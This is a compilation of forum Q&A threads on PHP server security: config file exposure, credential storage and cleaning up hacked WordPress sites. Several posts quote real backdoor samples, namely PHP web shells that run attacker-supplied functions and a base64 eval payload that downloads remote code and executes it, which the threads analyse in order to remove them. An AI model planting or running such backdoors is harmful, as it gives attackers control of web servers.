This question already has answers here:
Closed 11 years ago.
Possible Duplicate:
Security of PHP script, embedded or otherwise
Many PHP apps available for download (Wordpress, for example) contain configuration files including sensitive information (passwords, database login details, etc.). Are these files really secure? I know if someone navigates to them directly or tries to download them (via http://www.example.com/admin/config.php for example) all they will see is a blank page without any data on it. However, I am still wary. Might you be able to enlighten me regarding file security best practices in this regard? Thank you!
They are typically safe. However, best is to include the configuration file from above the public_html folder so direct access is not possible. Otherwise there are tons of other ways to keep them safe.
In general, they are save. But if somehow possible, they should be moved to a directory not reachable from the web, because if for whatever reason the php parser stops working and spits out plaintext sourcecode, your configs wont be visible.
Related
This question already has answers here:
wordpress hacked: what does this script actually do?
(2 answers)
Closed 4 years ago.
I have several web sites on a shared server, and have noticed a load of .php files appear in various folders, none of which were put there by me.
I am a .NET developer, so apart from one site which uses WordPress, none of my sites use PHP. Therefore, I can only assume that the server has been accessed, and suspicious files uploaded.
However, with my basic knowledge of PHP, I can't tell what these files are doing. I am hoping some PHP expert can help me.
Here is a sample...
<?php if(key($_GET)=='35')call_user_func($_GET['35'],$_REQUEST['c'],$_REQUEST['d']);
...and another...
<?php
$acnhe="s\x74\x72\x5fr\x65\x70\x6ca\x63e";$admno=$acnhe('f','',"b\x66afsfef6f4f_\x66dfefcfofd\x66e");$acnhe=$admno($acnhe('|','',$_POST['1043f']));$adnmo="\x61ss\145".'rt';#$adnmo($acnhe);#eval($acnhe);
$k=substr("class",2)."ert"; # $k(${"_PO"."ST"} ['335']);
Anyone able to explain what these would do if/when called?
Your wordpress site has been compromised. It's quite common that unpatched security vulnerabilities in WP allow users to inject these kinds of files which end up causing all sorts of trouble to your visitors (by redirecting them to malicious sites, for example).
You can safely delete this file, and you should do it ASAP.
Also, it's time to secure your WP installation (update the core to the latest version) and go through all of WP's core php files and look for similar strings within them (these malicious exploits sometimes allow core WP files to get injected too) and clean them up.
This question already has answers here:
PHP source code security on server
(8 answers)
Closed 9 years ago.
If I have a php code on my website is there any way for a user to view it? I ask because I'm using the Pear mail package (I might change before I upload my website), and it requires my email and password be in the code for it to use. Is this a potential security risk, or is there no way for the user to see this code anyways?
While we are at it, is there a good guide for hackers on how to exploit security risks(specifically SQL injections and similar methods)? It would be useful when checking my site's security, if I had a full list of all the common things that hackers try, and explanations for how to do them.
Keeping a password in a PHP program file is extremely common practice.
As long as you've named all your files with a .php extension, and your server is configured to process .php files as PHP code, then you shouldn't have any problems.
Don't use a .inc extension or anything like that, because yes, that might expose your code.
Also, it's generally a good idea to place as much of your PHP code as possible outside of the web-accessible areas. Only your base PHP file that is actually loaded on startup should be web accessible. All your includes and libraries should be safely stashed away somewhere else where they can be included, but can't be read directly.
This function will cover it:
highlight_string
I'm having many websites installed on the same webserver. What i wanna do, is to be able to include a same file from different websites as
<?php include '/home/site/www/path/to/file.php'; ?>
and in the same time block functions like highlight_file and file so using the following code won't displays my files content
<?php echo hightlight_file('/home/site/www/path/to/file.php'); ?>
Any help will be appreciated.
If you want your PHP files to be runnable but be safe from being read, your best option is to encode them.
Take a look at IonCube PHP Encoder and SendGuard , they are both very popular options to protect source code.
Blocking PHP function can work, but you'll never be safe because you can forget functions (can you reall list them all? What if there's one you actually need?), or new functions could be added in the future and if you do not block them you'd be exposed.
...so using the following code won't displays my files content
Does that mean you want to allow other people to deploy code on the server which calls your code without revealing the PHP source? If so, then disabling highlight_file isn't going to help much. You also need to disable include, require, fopen, file_get_contents, the imap extension and several other things - which means they won't be able to access your code at all.
If you're letting other people whom you don't necessarily trust deploy code on your server then there are lots of things you need to do to isolate each account - it's not a trivial exercise and well beyond the scope of an answer here. But it's not really possible to allow access to a shared include file without providing access to the source code. Using encoded PHP solves some problems but introduces others. A better solution is to expose the functionality via a web or socket API (this solves the sharing problem but not the isolation problem).
This question already has answers here:
How to get rid of eval-base64_decode like PHP virus files?
(8 answers)
Closed 6 years ago.
I'm using a wordpress blog today i got a comment like this .
<!-- unsafe comment zapped --> eval(base64_decode("JGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygiaHR0cHM6Ly9zMy5hbWF6b25hd3MuY29tL3dvcmRwcmVzcy1jb3JlL3VwZGF0ZS1mcmFtZXdvcmsudHh0Iik7ZXZhbCgkZGF0YSk7")); --><!--/mfunc-->
When i've decoded this comment using decoder i got
$data = file_get_contents("https://s3.amazonaws.com/wordpress-core/update-framework.txt");eval($data);
I'm getting many comments like this . Can anyone help me to resolve this problem .? Is it a Hack or does it shows the beginning of hacking ?
It is a hack or at least an attempt. They are taking advantage of an unresolved wordpress vulnerability that can allow them to download and executing code among other things. This type of attack has very little public exposure at the moment on the web and can be particularly nasty if it is originating from an educated source. If you notice these type of code snippets around your server side then please do more research to determine if you are truly infected and if so, to what level the infection has actually gone. I have seen entire shared hosting servers infected from individual wordpress site admins either allowing via ignorance or actively helping this problem propagate. Unfortunately this particular problem is currently not very well documented on the web so you will likely have to do a good bit of research to be sure your site is OK. To help you research I'll clarify the terminology of this hack.
This is a PHP Code Injection attack that is most likely attempting to exploit a known vulnerability in the wordpress framework. It is using Base64 encoded PHP code to inject itself onto your hosting server via eval() which is a programming language construct that is present in nearly all programming languages, including PHP. Hacker's with extremely organized and advanced abilities have made use of this exploit recently to wreak absolute havoc on compromised wordpress sites so be extremely careful when handling this type of problem.
None of the suggestions worked for us. The following is how we removed malicious code from multiple wordpress sites without any downtime.
We ran into a problem where we had multiple legacy wordpress sites sharing one filesystem that was infiltrated by this virus.
We ended up writing a little python script to traverse our filesystem and detect the malicious code.
Here's the code for anyone interested (NOTE: USE AT OWN RISK):
https://github.com/michigan-com/eval_scrubber
pip install eval_scrubber
// finds all infected files, will not do anything but READ
python -m eval_scrubber find .
// attempts to remove malicious code from files, potentially dangerous because it WRITEs
python -m eval_scrubber remove .
That scripts will scan the filesystem for malicious content and as a separate command it will attempt to remove the base64 eval functions.
This is really a temporary solution because the generator of this virus uses PHP comments to cause the regex to not match. We ended up using auditd to monitor what file is writing to a file we knew was getting infected: http://www.cyberciti.biz/tips/linux-audit-files-to-see-who-made-changes-to-a-file.html
Once we found the generator of the virus, did one more eval_scrubber remove and then our problem was fixed.
I was searching for a good and fast solution. This will help you find which files are infected with eval64. Then you can use search/replace in Dreamweaver and remove it from all files at once.
Threat scan plugin
BUT
There was an index file with short 2 lines of code. That 2 lines were injecting eval over and over. I forgot which index.php it was but look in folders:
wp-admin
wp-content
wp-include
Try to search for md5 in your files using Dreamweaver.
Hope you'll be able to fix it.
This question already has answers here:
How to secure database passwords in PHP?
(17 answers)
Closed 2 years ago.
I would like to know if it is secure to save the username, password, server etc. in the php.ini file so when I connect to the MySQL server I don't have to always put the parameters?
Also, can this information (saved in the php.ini) be viewed or retrieve by any kind of methods (like phpinfo() or something like that)?
As long as you make sure the ini file is outside the DOCUMENT_ROOT and not world-readable, it's no less secure than any other method.
You don't have to put that info in the parameters every time. You can define the connection in a separate file (dbconnection.php) and include that in the files that need a database connection.
It isn't secure, because you can read ini files with php method: parse_ini_file
I don't think there is security risk involve in saving any configuration in php.ini file since the location of the ini file is outside the "public" directory. No user can access this file.
You can get ini parameter using "ini_get" php function. You can find more information about this parameter from here:
http://php.net/manual/en/function.ini-get.php
It would be much more secure, if you had put it in a file without an extension, and then secure that file with .htaccess. Also, .ini file can be read by any browser, so that would be super unsecure.
As stated above, the .ini file might not be more or less secure than storing it in a .php file itself. However, one thing to consider is that when using the .ini file, this setting is effectively global to any and all PHP code and websites. Using the .ini file may affect other code that you wish to use a different user for.
Overall, it's probably best security practice to NOT use an .ini file to store the password, simply because it's now open to anybody storing PHP files on your server. Also makes it a bit of a hassle if you suddenly need to give multiple sites or applications for a site different logins (for separate databases). It's not best to use one login for multiple databases, except for the root user which should only be used for administrative purposes.